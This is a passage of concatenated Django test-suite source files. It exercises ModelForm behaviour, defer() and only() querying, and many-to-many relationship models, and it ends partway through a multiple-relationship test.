        # 'created', non-editable, is excluded by default
        self.assertNotIn('created', ArticleForm().fields)

        msg = "'created' cannot be specified for Article model form as it is a non-editable field"
        with self.assertRaisesMessage(FieldError, msg):
            class InvalidArticleForm(forms.ModelForm):
                class Meta:
                    model = Article
                    fields = ('headline', 'created')

    def test_http_prefixing(self):
        """
        If the http:// prefix is omitted on form input, the field adds it again. (Refs #13613)
        """
        class HomepageForm(forms.ModelForm):
            class Meta:
                model = Homepage
                fields = '__all__'

        form = HomepageForm({'url': 'example.com'})
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data['url'], 'http://example.com')

        form = HomepageForm({'url': 'example.com/test'})
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data['url'], 'http://example.com/test')


class OtherModelFormTests(TestCase):
    def test_media_on_modelform(self):
        # Similar to a regular Form class you can define custom media to be used on
        # the ModelForm.
        f = ModelFormWithMedia()
        self.assertHTMLEqual(
            six.text_type(f.media),
            '''<link href="/some/form/css" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/some/form/javascript"></script>'''
        )

    def test_choices_type(self):
        # Choices on CharField and IntegerField
        f = ArticleForm()
        with self.assertRaises(ValidationError):
            f.fields['status'].clean('42')

        f = ArticleStatusForm()
        with self.assertRaises(ValidationError):
            f.fields['status'].clean('z')

    def test_prefetch_related_queryset(self):
        """
        ModelChoiceField should respect a prefetch_related() on its queryset.
        """
        blue = Colour.objects.create(name='blue')
        red = Colour.objects.create(name='red')
        multicolor_item = ColourfulItem.objects.create()
        multicolor_item.colours.add(blue, red)
        red_item = ColourfulItem.objects.create()
        red_item.colours.add(red)

        class ColorModelChoiceField(forms.ModelChoiceField):
            def label_from_instance(self, obj):
                return ', '.join(c.name for c in obj.colours.all())

        field = ColorModelChoiceField(ColourfulItem.objects.prefetch_related('colours'))
        with self.assertNumQueries(4):  # would be 5 if prefetch is ignored
            self.assertEqual(tuple(field.choices), (
                ('', '---------'),
                (multicolor_item.pk, 'blue, red'),
                (red_item.pk, 'red'),
            ))

    def test_foreignkeys_which_use_to_field(self):
        apple = Inventory.objects.create(barcode=86, name='Apple')
        Inventory.objects.create(barcode=22, name='Pear')
        core = Inventory.objects.create(barcode=87, name='Core', parent=apple)

        field = forms.ModelChoiceField(Inventory.objects.all(), to_field_name='barcode')
        self.assertEqual(tuple(field.choices), (
            ('', '---------'),
            (86, 'Apple'),
            (87, 'Core'),
            (22, 'Pear')))

        form = InventoryForm(instance=core)
        self.assertHTMLEqual(six.text_type(form['parent']), '''<select name="parent" id="id_parent">
<option value="">---------</option>
<option value="86" selected="selected">Apple</option>
<option value="87">Core</option>
<option value="22">Pear</option>
</select>''')
        data = model_to_dict(core)
        data['parent'] = '22'
        form = InventoryForm(data=data, instance=core)
        core = form.save()
        self.assertEqual(core.parent.name, 'Pear')

        class CategoryForm(forms.ModelForm):
            description = forms.CharField()

            class Meta:
                model = Category
                fields = ['description', 'url']

        self.assertEqual(list(CategoryForm.base_fields),
                         ['description', 'url'])

        self.assertHTMLEqual(
            six.text_type(CategoryForm()),
            '''<tr><th><label for="id_description">Description:</label></th>
<td><input type="text" name="description" id="id_description" required /></td></tr>
<tr><th><label for="id_url">The URL:</label></th>
<td><input id="id_url" type="text" name="url" maxlength="40" required /></td></tr>'''
        )
        # to_field_name should also work on ModelMultipleChoiceField ##################

        field = forms.ModelMultipleChoiceField(Inventory.objects.all(), to_field_name='barcode')
        self.assertEqual(tuple(field.choices), ((86, 'Apple'), (87, 'Core'), (22, 'Pear')))
        self.assertQuerysetEqual(field.clean([86]), ['Apple'])

        form = SelectInventoryForm({'items': [87, 22]})
        self.assertTrue(form.is_valid())
        self.assertEqual(len(form.cleaned_data), 1)
        self.assertQuerysetEqual(form.cleaned_data['items'], ['Core', 'Pear'])

    def test_model_field_that_returns_none_to_exclude_itself_with_explicit_fields(self):
        self.assertEqual(list(CustomFieldForExclusionForm.base_fields),
                         ['name'])
        self.assertHTMLEqual(
            six.text_type(CustomFieldForExclusionForm()),
            '''<tr><th><label for="id_name">Name:</label></th>
<td><input id="id_name" type="text" name="name" maxlength="10" required /></td></tr>'''
        )

    def test_iterable_model_m2m(self):
        class ColourfulItemForm(forms.ModelForm):
            class Meta:
                model = ColourfulItem
                fields = '__all__'

        colour = Colour.objects.create(name='Blue')
        form = ColourfulItemForm()
        self.maxDiff = 1024
        self.assertHTMLEqual(
            form.as_p(),
            """<p><label for="id_name">Name:</label> <input id="id_name" type="text" name="name" maxlength="50" required /></p>
        <p><label for="id_colours">Colours:</label>
        <select multiple="multiple" name="colours" id="id_colours" required>
        <option value="%(blue_pk)s">Blue</option>
        </select></p>"""
            % {'blue_pk': colour.pk})

    def test_callable_field_default(self):
        class PublicationDefaultsForm(forms.ModelForm):
            class Meta:
                model = PublicationDefaults
                fields = '__all__'

        self.maxDiff = 2000
        form = PublicationDefaultsForm()
        today_str = str(datetime.date.today())
        self.assertHTMLEqual(
            form.as_p(),
            """
            <p><label for="id_title">Title:</label>
                <input id="id_title" maxlength="30" name="title" type="text" required /></p>
            <p><label for="id_date_published">Date published:</label>
                <input id="id_date_published" name="date_published" type="text" value="{0}" required />
                <input id="initial-id_date_published" name="initial-date_published" type="hidden" value="{0}" /></p>
            <p><label for="id_mode">Mode:</label> <select id="id_mode" name="mode" required>
                <option value="di" selected="selected">direct</option>
                <option value="de">delayed</option></select>
                <input id="initial-id_mode" name="initial-mode" type="hidden" value="di" /></p>
           <p><label for="id_category">Category:</label> <select id="id_category" name="category" required>
                <option value="1">Games</option>
                <option value="2">Comics</option>
                <option value="3" selected="selected">Novel</option></select>
                <input id="initial-id_category" name="initial-category" type="hidden" value="3" />
            """.format(today_str)
        )
        empty_data = {
            'title': '',
            'date_published': today_str,
            'initial-date_published': today_str,
            'mode': 'di',
            'initial-mode': 'di',
            'category': '3',
            'initial-category': '3',
        }
        bound_form = PublicationDefaultsForm(empty_data)
        self.assertFalse(bound_form.has_changed())


class ModelFormCustomErrorTests(SimpleTestCase):
    def test_custom_error_messages(self):
        data = {'name1': '@#$!!**@#$', 'name2': '@#$!!**@#$'}
        errors = CustomErrorMessageForm(data).errors
        self.assertHTMLEqual(
            str(errors['name1']),
            '<ul class="errorlist"><li>Form custom error message.</li></ul>'
        )
        self.assertHTMLEqual(
            str(errors['name2']),
            '<ul class="errorlist"><li>Model custom error message.</li></ul>'
        )

    def test_model_clean_error_messages(self):
        data = {'name1': 'FORBIDDEN_VALUE', 'name2': 'ABC'}
        form = CustomErrorMessageForm(data)
        self.assertFalse(form.is_valid())
        self.assertHTMLEqual(
            str(form.errors['name1']),
            '<ul class="errorlist"><li>Model.clean() error messages.</li></ul>'
        )
        data = {'name1': 'FORBIDDEN_VALUE2', 'name2': 'ABC'}
        form = CustomErrorMessageForm(data)
        self.assertFalse(form.is_valid())
        self.assertHTMLEqual(
            str(form.errors['name1']),
            '<ul class="errorlist"><li>Model.clean() error messages (simpler syntax).</li></ul>'
        )
        data = {'name1': 'GLOBAL_ERROR', 'name2': 'ABC'}
        form = CustomErrorMessageForm(data)
        self.assertFalse(form.is_valid())
        self.assertEqual(form.errors['__all__'], ['Global error message.'])


class CustomCleanTests(TestCase):
    def test_override_clean(self):
        """
        Regression for #12596: Calling super from ModelForm.clean() should be
        optional.
        """
        class TripleFormWithCleanOverride(forms.ModelForm):
            class Meta:
                model = Triple
                fields = '__all__'

            def clean(self):
                if not self.cleaned_data['left'] == self.cleaned_data['right']:
                    raise forms.ValidationError('Left and right should be equal')
                return self.cleaned_data

        form = TripleFormWithCleanOverride({'left': 1, 'middle': 2, 'right': 1})
        self.assertTrue(form.is_valid())
        # form.instance.left will be None if the instance was not constructed
        # by form.full_clean().
        self.assertEqual(form.instance.left, 1)

    def test_model_form_clean_applies_to_model(self):
        """
        Regression test for #12960. Make sure the cleaned_data returned from
        ModelForm.clean() is applied to the model instance.
        """
        class CategoryForm(forms.ModelForm):
            class Meta:
                model = Category
                fields = '__all__'

            def clean(self):
                self.cleaned_data['name'] = self.cleaned_data['name'].upper()
                return self.cleaned_data

        data = {'name': 'Test', 'slug': 'test', 'url': '/test'}
        form = CategoryForm(data)
        category = form.save()
        self.assertEqual(category.name, 'TEST')


class ModelFormInheritanceTests(SimpleTestCase):
    def test_form_subclass_inheritance(self):
        class Form(forms.Form):
            age = forms.IntegerField()

        class ModelForm(forms.ModelForm, Form):
            class Meta:
                model = Writer
                fields = '__all__'

        self.assertEqual(list(ModelForm().fields.keys()), ['name', 'age'])

    def test_field_removal(self):
        class ModelForm(forms.ModelForm):
            class Meta:
                model = Writer
                fields = '__all__'

        class Mixin(object):
            age = None

        class Form(forms.Form):
            age = forms.IntegerField()

        class Form2(forms.Form):
            foo = forms.IntegerField()

        self.assertEqual(list(ModelForm().fields.keys()), ['name'])
        self.assertEqual(list(type(str('NewForm'), (Mixin, Form), {})().fields.keys()), [])
        self.assertEqual(list(type(str('NewForm'), (Form2, Mixin, Form), {})().fields.keys()), ['foo'])
        self.assertEqual(list(type(str('NewForm'), (Mixin, ModelForm, Form), {})().fields.keys()), ['name'])
        self.assertEqual(list(type(str('NewForm'), (ModelForm, Mixin, Form), {})().fields.keys()), ['name'])
        self.assertEqual(list(type(str('NewForm'), (ModelForm, Form, Mixin), {})().fields.keys()), ['name', 'age'])
        self.assertEqual(list(type(str('NewForm'), (ModelForm, Form), {'age': None})().fields.keys()), ['name'])

    def test_field_removal_name_clashes(self):
        """Regression test for https://code.djangoproject.com/ticket/22510."""

        class MyForm(forms.ModelForm):
            media = forms.CharField()

            class Meta:
                model = Writer
                fields = '__all__'

        class SubForm(MyForm):
            media = None

        self.assertIn('media', MyForm().fields)
        self.assertNotIn('media', SubForm().fields)
        self.assertTrue(hasattr(MyForm, 'media'))
        self.assertTrue(hasattr(SubForm, 'media'))


class StumpJokeForm(forms.ModelForm):
    class Meta:
        model = StumpJoke
        fields = '__all__'


class CustomFieldWithQuerysetButNoLimitChoicesTo(forms.Field):
    queryset = 42


class StumpJokeWithCustomFieldForm(forms.ModelForm):
    custom = CustomFieldWithQuerysetButNoLimitChoicesTo()

    class Meta:
        model = StumpJoke
        fields = ()  # We don't need any fields from the model


class LimitChoicesToTest(TestCase):
    """
    Tests the functionality of ``limit_choices_to``.
    """
    def setUp(self):
        self.threepwood = Character.objects.create(
            username='threepwood',
            last_action=datetime.datetime.today() + datetime.timedelta(days=1),
        )
        self.marley = Character.objects.create(
            username='marley',
            last_action=datetime.datetime.today() - datetime.timedelta(days=1),
        )

    def test_limit_choices_to_callable_for_fk_rel(self):
        """
        A ForeignKey relation can use ``limit_choices_to`` as a callable, re #2554.
        """
        stumpjokeform = StumpJokeForm()
        self.assertIn(self.threepwood, stumpjokeform.fields['most_recently_fooled'].queryset)
        self.assertNotIn(self.marley, stumpjokeform.fields['most_recently_fooled'].queryset)

    def test_limit_choices_to_callable_for_m2m_rel(self):
        """
        A ManyToMany relation can use ``limit_choices_to`` as a callable, re #2554.
        """
        stumpjokeform = StumpJokeForm()
        self.assertIn(self.threepwood, stumpjokeform.fields['has_fooled_today'].queryset)
        self.assertNotIn(self.marley, stumpjokeform.fields['has_fooled_today'].queryset)

    def test_custom_field_with_queryset_but_no_limit_choices_to(self):
        """
        Regression test for #23795: Make sure a custom field with a `queryset`
        attribute but no `limit_choices_to` still works.
        """
        f = StumpJokeWithCustomFieldForm()
        self.assertEqual(f.fields['custom'].queryset, 42)


class FormFieldCallbackTests(SimpleTestCase):

    def test_baseform_with_widgets_in_meta(self):
        """Regression for #13095: Using base forms with widgets defined in Meta should not raise errors."""
        widget = forms.Textarea()

        class BaseForm(forms.ModelForm):
            class Meta:
                model = Person
                widgets = {'name': widget}
                fields = "__all__"

        Form = modelform_factory(Person, form=BaseForm)
        self.assertIs(Form.base_fields['name'].widget, widget)

    def test_factory_with_widget_argument(self):
        """ Regression for #15315: modelform_factory should accept widgets
            argument
        """
        widget = forms.Textarea()

        # Without a widget should not set the widget to textarea
        Form = modelform_factory(Person, fields="__all__")
        self.assertNotEqual(Form.base_fields['name'].widget.__class__, forms.Textarea)

        # With a widget should not set the widget to textarea
        Form = modelform_factory(Person, fields="__all__", widgets={'name': widget})
        self.assertEqual(Form.base_fields['name'].widget.__class__, forms.Textarea)

    def test_modelform_factory_without_fields(self):
        """ Regression for #19733 """
        message = (
            "Calling modelform_factory without defining 'fields' or 'exclude' "
            "explicitly is prohibited."
        )
        with self.assertRaisesMessage(ImproperlyConfigured, message):
            modelform_factory(Person)

    def test_modelform_factory_with_all_fields(self):
        """ Regression for #19733 """
        form = modelform_factory(Person, fields="__all__")
        self.assertEqual(list(form.base_fields), ["name"])

    def test_custom_callback(self):
        """Test that a custom formfield_callback is used if provided"""

        callback_args = []

        def callback(db_field, **kwargs):
            callback_args.append((db_field, kwargs))
            return db_field.formfield(**kwargs)

        widget = forms.Textarea()

        class BaseForm(forms.ModelForm):
            class Meta:
                model = Person
                widgets = {'name': widget}
                fields = "__all__"

        modelform_factory(Person, form=BaseForm, formfield_callback=callback)
        id_field, name_field = Person._meta.fields

        self.assertEqual(callback_args,
                         [(id_field, {}), (name_field, {'widget': widget})])

    def test_bad_callback(self):
        # A bad callback provided by user still gives an error
        with self.assertRaises(TypeError):
            modelform_factory(Person, fields="__all__", formfield_callback='not a function or callable')

    def test_inherit_after_custom_callback(self):
        def callback(db_field, **kwargs):
            if isinstance(db_field, models.CharField):
                return forms.CharField(widget=forms.Textarea)
            return db_field.formfield(**kwargs)

        class BaseForm(forms.ModelForm):
            class Meta:
                model = Person
                fields = '__all__'

        NewForm = modelform_factory(Person, form=BaseForm, formfield_callback=callback)

        class InheritedForm(NewForm):
            pass

        for name in NewForm.base_fields.keys():
            self.assertEqual(
                type(InheritedForm.base_fields[name].widget),
                type(NewForm.base_fields[name].widget)
            )


class LocalizedModelFormTest(TestCase):
    def test_model_form_applies_localize_to_some_fields(self):
        class PartiallyLocalizedTripleForm(forms.ModelForm):
            class Meta:
                model = Triple
                localized_fields = ('left', 'right',)
                fields = '__all__'

        f = PartiallyLocalizedTripleForm({'left': 10, 'middle': 10, 'right': 10})
        self.assertTrue(f.is_valid())
        self.assertTrue(f.fields['left'].localize)
        self.assertFalse(f.fields['middle'].localize)
        self.assertTrue(f.fields['right'].localize)

    def test_model_form_applies_localize_to_all_fields(self):
        class FullyLocalizedTripleForm(forms.ModelForm):
            class Meta:
                model = Triple
                localized_fields = '__all__'
                fields = '__all__'

        f = FullyLocalizedTripleForm({'left': 10, 'middle': 10, 'right': 10})
        self.assertTrue(f.is_valid())
        self.assertTrue(f.fields['left'].localize)
        self.assertTrue(f.fields['middle'].localize)
        self.assertTrue(f.fields['right'].localize)

    def test_model_form_refuses_arbitrary_string(self):
        with self.assertRaises(TypeError):
            class BrokenLocalizedTripleForm(forms.ModelForm):
                class Meta:
                    model = Triple
                    localized_fields = "foo"


class CustomMetaclass(ModelFormMetaclass):
    def __new__(cls, name, bases, attrs):
        new = super(CustomMetaclass, cls).__new__(cls, name, bases, attrs)
        new.base_fields = {}
        return new


class CustomMetaclassForm(six.with_metaclass(CustomMetaclass, forms.ModelForm)):
    pass


class CustomMetaclassTestCase(SimpleTestCase):
    def test_modelform_factory_metaclass(self):
        new_cls = modelform_factory(Person, fields="__all__", form=CustomMetaclassForm)
        self.assertEqual(new_cls.base_fields, {})


class StrictAssignmentTests(TestCase):
    """
    Should a model do anything special with __setattr__() or descriptors which
    raise a ValidationError, a model form should catch the error (#24706).
    """

    def test_setattr_raises_validation_error_field_specific(self):
        """
        A model ValidationError using the dict form should put the error
        message into the correct key of form.errors.
        """
        form_class = modelform_factory(model=StrictAssignmentFieldSpecific, fields=['title'])
        form = form_class(data={'title': 'testing setattr'}, files=None)
        # This line turns on the ValidationError; it avoids the model erroring
        # when its own __init__() is called when creating form.instance.
        form.instance._should_error = True
        self.assertFalse(form.is_valid())
        self.assertEqual(form.errors, {
            'title': ['Cannot set attribute', 'This field cannot be blank.']
        })

    def test_setattr_raises_validation_error_non_field(self):
        """
        A model ValidationError not using the dict form should put the error
        message into __all__ (i.e. non-field errors) on the form.
        """
        form_class = modelform_factory(model=StrictAssignmentAll, fields=['title'])
        form = form_class(data={'title': 'testing setattr'}, files=None)
        # This line turns on the ValidationError; it avoids the model erroring
        # when its own __init__() is called when creating form.instance.
        form.instance._should_error = True
        self.assertFalse(form.is_valid())
        self.assertEqual(form.errors, {
            '__all__': ['Cannot set attribute'],
            'title': ['This field cannot be blank.']
        })






from __future__ import unicode_literals

from django import forms
from django.test import TestCase

from .models import UUIDPK


class UUIDPKForm(forms.ModelForm):
    class Meta:
        model = UUIDPK
        fields = '__all__'


class ModelFormBaseTest(TestCase):
    def test_create_save_error(self):
        form = UUIDPKForm({})
        self.assertFalse(form.is_valid())
        msg = "The UUIDPK could not be created because the data didn't validate."
        with self.assertRaisesMessage(ValueError, msg):
            form.save()

    def test_update_save_error(self):
        obj = UUIDPK.objects.create(name='foo')
        form = UUIDPKForm({}, instance=obj)
        self.assertFalse(form.is_valid())
        msg = "The UUIDPK could not be changed because the data didn't validate."
        with self.assertRaisesMessage(ValueError, msg):
            form.save()






"""
Many-to-many relationships via an intermediary table

For many-to-many relationships that need extra fields on the intermediary
table, use an intermediary model.

In this example, an ``Article`` can have multiple ``Reporter`` objects, and
each ``Article``-``Reporter`` combination (a ``Writer``) has a ``position``
field, which specifies the ``Reporter``'s position for the given article
(e.g. "Staff writer").
"""
from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Reporter(models.Model):
    first_name = models.CharField(max_length=30)
    last_name = models.CharField(max_length=30)

    def __str__(self):
        return "%s %s" % (self.first_name, self.last_name)


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=100)
    pub_date = models.DateField()

    def __str__(self):
        return self.headline


@python_2_unicode_compatible
class Writer(models.Model):
    reporter = models.ForeignKey(Reporter, models.CASCADE)
    article = models.ForeignKey(Article, models.CASCADE)
    position = models.CharField(max_length=100)

    def __str__(self):
        return '%s (%s)' % (self.reporter, self.position)












from __future__ import unicode_literals

from datetime import datetime

from django.test import TestCase
from django.utils import six

from .models import Article, Reporter, Writer


class M2MIntermediaryTests(TestCase):
    def test_intermeiary(self):
        r1 = Reporter.objects.create(first_name="John", last_name="Smith")
        r2 = Reporter.objects.create(first_name="Jane", last_name="Doe")

        a = Article.objects.create(
            headline="This is a test", pub_date=datetime(2005, 7, 27)
        )

        w1 = Writer.objects.create(reporter=r1, article=a, position="Main writer")
        w2 = Writer.objects.create(reporter=r2, article=a, position="Contributor")

        self.assertQuerysetEqual(
            a.writer_set.select_related().order_by("-position"), [
                ("John Smith", "Main writer"),
                ("Jane Doe", "Contributor"),
            ],
            lambda w: (six.text_type(w.reporter), w.position)
        )
        self.assertEqual(w1.reporter, r1)
        self.assertEqual(w2.reporter, r2)

        self.assertEqual(w1.article, a)
        self.assertEqual(w2.article, a)

        self.assertQuerysetEqual(
            r1.writer_set.all(), [
                ("John Smith", "Main writer")
            ],
            lambda w: (six.text_type(w.reporter), w.position)
        )






"""
Tests for defer() and only().
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


class Secondary(models.Model):
    first = models.CharField(max_length=50)
    second = models.CharField(max_length=50)


@python_2_unicode_compatible
class Primary(models.Model):
    name = models.CharField(max_length=50)
    value = models.CharField(max_length=50)
    related = models.ForeignKey(Secondary, models.CASCADE)

    def __str__(self):
        return self.name


class Child(Primary):
    pass


class BigChild(Primary):
    other = models.CharField(max_length=50)


class ChildProxy(Child):
    class Meta:
        proxy = True


class RefreshPrimaryProxy(Primary):
    class Meta:
        proxy = True

    def refresh_from_db(self, using=None, fields=None, **kwargs):
        # Reloads all deferred fields if any of the fields is deferred.
        if fields is not None:
            fields = set(fields)
            deferred_fields = self.get_deferred_fields()
            if fields.intersection(deferred_fields):
                fields = fields.union(deferred_fields)
        super(RefreshPrimaryProxy, self).refresh_from_db(using, fields, **kwargs)












from __future__ import unicode_literals

from django.db.models.query_utils import InvalidQuery
from django.test import TestCase

from .models import (
    BigChild, Child, ChildProxy, Primary, RefreshPrimaryProxy, Secondary,
)


class AssertionMixin(object):
    def assert_delayed(self, obj, num):
        """
        Instances with deferred fields look the same as normal instances when
        we examine attribute values. Therefore, this method returns the number
        of deferred fields on returned instances.
        """
        count = len(obj.get_deferred_fields())
        self.assertEqual(count, num)


class DeferTests(AssertionMixin, TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.s1 = Secondary.objects.create(first="x1", second="y1")
        cls.p1 = Primary.objects.create(name="p1", value="xx", related=cls.s1)

    def test_defer(self):
        qs = Primary.objects.all()
        self.assert_delayed(qs.defer("name")[0], 1)
        self.assert_delayed(qs.defer("name").get(pk=self.p1.pk), 1)
        self.assert_delayed(qs.defer("related__first")[0], 0)
        self.assert_delayed(qs.defer("name").defer("value")[0], 2)

    def test_only(self):
        qs = Primary.objects.all()
        self.assert_delayed(qs.only("name")[0], 2)
        self.assert_delayed(qs.only("name").get(pk=self.p1.pk), 2)
        self.assert_delayed(qs.only("name").only("value")[0], 2)
        self.assert_delayed(qs.only("related__first")[0], 2)
        # Using 'pk' with only() should result in 3 deferred fields, namely all
        # of them except the model's primary key see #15494
        self.assert_delayed(qs.only("pk")[0], 3)
        # You can use 'pk' with reverse foreign key lookups.
        # The related_id is alawys set even if it's not fetched from the DB,
        # so pk and related_id are not deferred.
        self.assert_delayed(self.s1.primary_set.all().only('pk')[0], 2)

    def test_defer_only_chaining(self):
        qs = Primary.objects.all()
        self.assert_delayed(qs.only("name", "value").defer("name")[0], 2)
        self.assert_delayed(qs.defer("name").only("value", "name")[0], 2)
        self.assert_delayed(qs.defer("name").only("value")[0], 2)
        self.assert_delayed(qs.only("name").defer("value")[0], 2)

    def test_defer_on_an_already_deferred_field(self):
        qs = Primary.objects.all()
        self.assert_delayed(qs.defer("name")[0], 1)
        self.assert_delayed(qs.defer("name").defer("name")[0], 1)

    def test_defer_none_to_clear_deferred_set(self):
        qs = Primary.objects.all()
        self.assert_delayed(qs.defer("name", "value")[0], 2)
        self.assert_delayed(qs.defer(None)[0], 0)
        self.assert_delayed(qs.only("name").defer(None)[0], 0)

    def test_only_none_raises_error(self):
        msg = 'Cannot pass None as an argument to only().'
        with self.assertRaisesMessage(TypeError, msg):
            Primary.objects.only(None)

    def test_defer_extra(self):
        qs = Primary.objects.all()
        self.assert_delayed(qs.defer("name").extra(select={"a": 1})[0], 1)
        self.assert_delayed(qs.extra(select={"a": 1}).defer("name")[0], 1)

    def test_defer_values_does_not_defer(self):
        # User values() won't defer anything (you get the full list of
        # dictionaries back), but it still works.
        self.assertEqual(Primary.objects.defer("name").values()[0], {
            "id": self.p1.id,
            "name": "p1",
            "value": "xx",
            "related_id": self.s1.id,
        })

    def test_only_values_does_not_defer(self):
        self.assertEqual(Primary.objects.only("name").values()[0], {
            "id": self.p1.id,
            "name": "p1",
            "value": "xx",
            "related_id": self.s1.id,
        })

    def test_get(self):
        # Using defer() and only() with get() is also valid.
        qs = Primary.objects.all()
        self.assert_delayed(qs.defer("name").get(pk=self.p1.pk), 1)
        self.assert_delayed(qs.only("name").get(pk=self.p1.pk), 2)

    def test_defer_with_select_related(self):
        obj = Primary.objects.select_related().defer("related__first", "related__second")[0]
        self.assert_delayed(obj.related, 2)
        self.assert_delayed(obj, 0)

    def test_only_with_select_related(self):
        obj = Primary.objects.select_related().only("related__first")[0]
        self.assert_delayed(obj, 2)
        self.assert_delayed(obj.related, 1)
        self.assertEqual(obj.related_id, self.s1.pk)
        self.assertEqual(obj.name, "p1")

    def test_defer_select_related_raises_invalid_query(self):
        msg = (
            'Field Primary.related cannot be both deferred and traversed '
            'using select_related at the same time.'
        )
        with self.assertRaisesMessage(InvalidQuery, msg):
            Primary.objects.defer("related").select_related("related")[0]

    def test_only_select_related_raises_invalid_query(self):
        msg = (
            'Field Primary.related cannot be both deferred and traversed using '
            'select_related at the same time.'
        )
        with self.assertRaisesMessage(InvalidQuery, msg):
            Primary.objects.only("name").select_related("related")[0]

    def test_defer_foreign_keys_are_deferred_and_not_traversed(self):
        # select_related() overrides defer().
        with self.assertNumQueries(1):
            obj = Primary.objects.defer("related").select_related()[0]
            self.assert_delayed(obj, 1)
            self.assertEqual(obj.related.id, self.s1.pk)

    def test_saving_object_with_deferred_field(self):
        # Saving models with deferred fields is possible (but inefficient,
        # since every field has to be retrieved first).
        Primary.objects.create(name="p2", value="xy", related=self.s1)
        obj = Primary.objects.defer("value").get(name="p2")
        obj.name = "a new name"
        obj.save()
        self.assertQuerysetEqual(
            Primary.objects.all(), [
                "p1", "a new name",
            ],
            lambda p: p.name,
            ordered=False,
        )

    def test_defer_baseclass_when_subclass_has_no_added_fields(self):
        # Regression for #10572 - A subclass with no extra fields can defer
        # fields from the base class
        Child.objects.create(name="c1", value="foo", related=self.s1)
        # You can defer a field on a baseclass when the subclass has no fields
        obj = Child.objects.defer("value").get(name="c1")
        self.assert_delayed(obj, 1)
        self.assertEqual(obj.name, "c1")
        self.assertEqual(obj.value, "foo")

    def test_only_baseclass_when_subclass_has_no_added_fields(self):
        # You can retrieve a single column on a base class with no fields
        Child.objects.create(name="c1", value="foo", related=self.s1)
        obj = Child.objects.only("name").get(name="c1")
        # on an inherited model, its PK is also fetched, hence '3' deferred fields.
        self.assert_delayed(obj, 3)
        self.assertEqual(obj.name, "c1")
        self.assertEqual(obj.value, "foo")


class BigChildDeferTests(AssertionMixin, TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.s1 = Secondary.objects.create(first="x1", second="y1")
        BigChild.objects.create(name="b1", value="foo", related=cls.s1, other="bar")

    def test_defer_baseclass_when_subclass_has_added_field(self):
        # You can defer a field on a baseclass
        obj = BigChild.objects.defer("value").get(name="b1")
        self.assert_delayed(obj, 1)
        self.assertEqual(obj.name, "b1")
        self.assertEqual(obj.value, "foo")
        self.assertEqual(obj.other, "bar")

    def test_defer_subclass(self):
        # You can defer a field on a subclass
        obj = BigChild.objects.defer("other").get(name="b1")
        self.assert_delayed(obj, 1)
        self.assertEqual(obj.name, "b1")
        self.assertEqual(obj.value, "foo")
        self.assertEqual(obj.other, "bar")

    def test_only_baseclass_when_subclass_has_added_field(self):
        # You can retrieve a single field on a baseclass
        obj = BigChild.objects.only("name").get(name="b1")
        # when inherited model, its PK is also fetched, hence '4' deferred fields.
        self.assert_delayed(obj, 4)
        self.assertEqual(obj.name, "b1")
        self.assertEqual(obj.value, "foo")
        self.assertEqual(obj.other, "bar")

    def test_only_sublcass(self):
        # You can retrieve a single field on a subclass
        obj = BigChild.objects.only("other").get(name="b1")
        self.assert_delayed(obj, 4)
        self.assertEqual(obj.name, "b1")
        self.assertEqual(obj.value, "foo")
        self.assertEqual(obj.other, "bar")


class TestDefer2(AssertionMixin, TestCase):
    def test_defer_proxy(self):
        """
        Ensure select_related together with only on a proxy model behaves
        as expected. See #17876.
        """
        related = Secondary.objects.create(first='x1', second='x2')
        ChildProxy.objects.create(name='p1', value='xx', related=related)
        children = ChildProxy.objects.all().select_related().only('id', 'name')
        self.assertEqual(len(children), 1)
        child = children[0]
        self.assert_delayed(child, 2)
        self.assertEqual(child.name, 'p1')
        self.assertEqual(child.value, 'xx')

    def test_defer_inheritance_pk_chaining(self):
        """
        When an inherited model is fetched from the DB, its PK is also fetched.
        When getting the PK of the parent model it is useful to use the already
        fetched parent model PK if it happens to be available. Tests that this
        is done.
        """
        s1 = Secondary.objects.create(first="x1", second="y1")
        bc = BigChild.objects.create(name="b1", value="foo", related=s1,
                                     other="bar")
        bc_deferred = BigChild.objects.only('name').get(pk=bc.pk)
        with self.assertNumQueries(0):
            bc_deferred.id
        self.assertEqual(bc_deferred.pk, bc_deferred.id)

    def test_eq(self):
        s1 = Secondary.objects.create(first="x1", second="y1")
        s1_defer = Secondary.objects.only('pk').get(pk=s1.pk)
        self.assertEqual(s1, s1_defer)
        self.assertEqual(s1_defer, s1)

    def test_refresh_not_loading_deferred_fields(self):
        s = Secondary.objects.create()
        rf = Primary.objects.create(name='foo', value='bar', related=s)
        rf2 = Primary.objects.only('related', 'value').get()
        rf.name = 'new foo'
        rf.value = 'new bar'
        rf.save()
        with self.assertNumQueries(1):
            rf2.refresh_from_db()
            self.assertEqual(rf2.value, 'new bar')
        with self.assertNumQueries(1):
            self.assertEqual(rf2.name, 'new foo')

    def test_custom_refresh_on_deferred_loading(self):
        s = Secondary.objects.create()
        rf = RefreshPrimaryProxy.objects.create(name='foo', value='bar', related=s)
        rf2 = RefreshPrimaryProxy.objects.only('related').get()
        rf.name = 'new foo'
        rf.value = 'new bar'
        rf.save()
        with self.assertNumQueries(1):
            # Customized refresh_from_db() reloads all deferred fields on
            # access of any of them.
            self.assertEqual(rf2.name, 'new foo')
            self.assertEqual(rf2.value, 'new bar')






"""
Multiple many-to-many relationships between the same two tables

In this example, an ``Article`` can have many "primary" ``Category`` objects
and many "secondary" ``Category`` objects.

Set ``related_name`` to designate what the reverse relationship is called.
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Category(models.Model):
    name = models.CharField(max_length=20)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=50)
    pub_date = models.DateTimeField()
    primary_categories = models.ManyToManyField(Category, related_name='primary_article_set')
    secondary_categories = models.ManyToManyField(Category, related_name='secondary_article_set')

    class Meta:
        ordering = ('pub_date',)

    def __str__(self):
        return self.headline












from __future__ import unicode_literals

from datetime import datetime

from django.test import TestCase

from .models import Article, Category


class M2MMultipleTests(TestCase):
    def test_multiple(self):
